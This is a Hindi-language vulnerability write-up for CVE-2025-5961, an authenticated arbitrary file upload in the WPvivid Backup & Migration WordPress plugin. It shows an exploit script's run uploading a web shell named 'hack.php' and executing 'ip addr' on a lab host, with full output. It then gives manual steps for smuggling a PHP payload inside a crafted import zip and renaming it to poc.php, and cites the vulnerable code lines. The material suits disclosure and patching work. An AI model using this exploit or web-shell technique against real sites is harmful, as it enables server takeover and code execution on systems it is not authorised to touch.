
प्रवासन, बैकअप, स्टेजिंग – WPvivid Backup & Migration <= 0.9.116 - प्रमाणित (व्यवस्थापक+) मनमानी फ़ाइल अपलोड
wpvivid-backuprestore प्लगइन wpvivid_upload_import_files कार्रवाई के फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता है, जिससे व्यवस्थापक या उच्च स्तर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं। नोट: अपलोड की गई फ़ाइलें केवल NGINX वेब सर्वर पर चलने वाले WordPress इंस्टेंस पर ही सुलभ होती हैं, क्योंकि लक्ष्य फ़ाइल अपलोड फ़ोल्डर में मौजूद .htaccess Apache सर्वर पर पहुँच को रोकता है।
hack.php नामक वेब शेल अपलोड करने का प्रदर्शन करता है। python3 ./CVE-2025-5961.py https://lab1.hacker admin password
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
ajax_nonce: e4d4bec9f0
Uploading web shell: hack.php
{"result":"success"}
Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php
Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
altname enp0s3
inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
valid_lft 78309sec preferred_lft 78309sec
inet6 fd00::a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 86105sec preferred_lft 14105sec
inet6 fe80::a00:27ff:fe5b:342f/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
altname enp0s8
inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fe39:eaeb/64 scope link
valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default
link/ether 02:42:63:2d:a4:f2 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
</pre>
wpvivid_upload_import_files कार्रवाई फ़ाइल प्रकार सत्यापन को लागू किए बिना /wp-content/plugins/wpvivid-backuprestore/includes/class-wpvivid-export-import.php की पंक्ति 2210 पर upload_files फ़ंक्शन को कॉल करती है।
पंक्ति 2235 पर $file_name इस प्रकार सेट किया गया है:
$file_name=basename(sanitize_text_field($_POST['name']));
$file_name वेरिएबल का उपयोग तब पंक्ति 2246 पर फ़ाइल को फ़ाइल सिस्टम में लिखने के लिए किया जाता है।
$file_handle = fopen($path.$file_name, 'wb');
echo "<?php phpinfo(); ?>" >> wpvivid-0000000000000_1969-04-20-00-00_export_post.zip
WPvivid Backup टैब पर जाएँ।Export & Import विकल्प चुनें, और फिर Import टैब चुनें।Upload and Import बटन पर क्लिक करें, और चरण शून्य में बनाई गई wpvivid-0000000000000_1969-04-20-00-00_export_post.zip फ़ाइल चुनें।

POST अनुरोध कुछ इस प्रकार होगा, इस अनुरोध को आगे भेजें:POST /wp-admin/admin-ajax.php HTTP/2
...
...
...
action=wpvivid_check_import_file&file_name=wpvivid-0000000000000_1969-04-20-00-00_export_post.zip&nonce=5c83c6b97b
poc.php सेट करने के लिए संशोधित करें:

https://THEWEBSITE.com/wp-content/wpvividbackups/ImportandExport/poc.php पर जाएँ।
